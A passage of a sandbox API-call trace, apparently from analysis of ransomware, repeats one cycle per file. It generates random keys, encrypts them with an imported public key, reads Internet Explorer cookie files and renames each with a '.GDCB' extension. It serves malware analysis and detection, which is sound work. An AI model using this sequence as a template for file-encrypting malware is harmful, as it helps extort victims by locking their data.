lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.386] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.386] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.386] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0188.388] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50360d0) returned 1 [0188.388] CryptGetKeyParam (in: hKey=0x50360d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.389] CryptEncrypt (in: hKey=0x50360d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.389] GetLastError () returned 0x0 [0188.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.389] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.390] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036150) returned 1 [0188.391] CryptGetKeyParam (in: hKey=0x5036150, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.391] CryptEncrypt (in: hKey=0x5036150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.391] GetLastError () returned 0x0 [0188.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.391] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9M7ZHW1Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9m7zhw1q.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.393] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.395] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x1f7, lpOverlapped=0x0) returned 1 [0188.404] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.409] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9M7ZHW1Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9m7zhw1q.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9M7ZHW1Q.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9m7zhw1q.txt.gdcb")) returned 1 [0188.422] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.425] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.425] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.425] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.425] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.427] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.427] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.427] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.429] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036710) returned 1 [0188.429] CryptGetKeyParam (in: hKey=0x5036710, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.429] CryptEncrypt (in: hKey=0x5036710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.430] GetLastError () returned 0x0 [0188.430] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.430] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.431] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036190) returned 1 [0188.431] CryptGetKeyParam (in: hKey=0x5036190, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.431] CryptEncrypt (in: hKey=0x5036190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.432] GetLastError () returned 0x0 [0188.432] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.432] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9XACNSYG.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9xacnsyg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.434] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.435] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.436] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x29a, lpOverlapped=0x0) returned 1 [0188.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.453] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9XACNSYG.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9xacnsyg.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9XACNSYG.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9xacnsyg.txt.gdcb")) returned 1 [0188.458] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.460] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.461] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.461] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.461] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0188.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.463] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.463] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.463] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.466] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036290) returned 1 [0188.466] CryptGetKeyParam (in: hKey=0x5036290, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.466] CryptEncrypt (in: hKey=0x5036290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.466] GetLastError () returned 0x0 [0188.466] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.466] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036750) returned 1 [0188.468] CryptGetKeyParam (in: hKey=0x5036750, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.468] CryptEncrypt (in: hKey=0x5036750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.468] GetLastError () returned 0x0 [0188.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9Z1Y5ICI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9z1y5ici.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.470] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.472] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.472] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x72, lpOverlapped=0x0) returned 1 [0188.481] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.486] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9Z1Y5ICI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9z1y5ici.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9Z1Y5ICI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9z1y5ici.txt.gdcb")) returned 1 [0188.491] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.493] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.494] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.494] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.494] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.496] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.496] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.496] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.496] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0188.498] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036510) returned 1 [0188.498] CryptGetKeyParam (in: hKey=0x5036510, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.498] CryptEncrypt (in: hKey=0x5036510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.499] GetLastError () returned 0x0 [0188.499] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.499] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.501] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50361d0) returned 1 [0188.501] CryptGetKeyParam (in: hKey=0x50361d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.501] CryptEncrypt (in: hKey=0x50361d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.501] GetLastError () returned 0x0 [0188.501] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\A0RK8A2H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\a0rk8a2h.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.505] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.506] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x80, lpOverlapped=0x0) returned 1 [0188.514] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.518] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\A0RK8A2H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\a0rk8a2h.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\A0RK8A2H.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\a0rk8a2h.txt.gdcb")) returned 1 [0188.524] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.527] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.527] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.527] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.528] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.530] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.530] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.531] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.533] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036690) returned 1 [0188.533] CryptGetKeyParam (in: hKey=0x5036690, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.533] CryptEncrypt (in: hKey=0x5036690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.533] GetLastError () returned 0x0 [0188.533] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.533] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0188.536] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036210) returned 1 [0188.536] CryptGetKeyParam (in: hKey=0x5036210, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.536] CryptEncrypt (in: hKey=0x5036210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.536] GetLastError () returned 0x0 [0188.536] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\AA2IJ7JU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\aa2ij7ju.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.538] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.540] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.541] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x121, lpOverlapped=0x0) returned 1 [0188.549] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.555] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\AA2IJ7JU.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\aa2ij7ju.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\AA2IJ7JU.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\aa2ij7ju.txt.gdcb")) returned 1 [0188.560] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.562] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.563] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.563] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.563] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.563] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.565] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.565] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.565] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.565] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0188.568] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036050) returned 1 [0188.568] CryptGetKeyParam (in: hKey=0x5036050, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.568] CryptEncrypt (in: 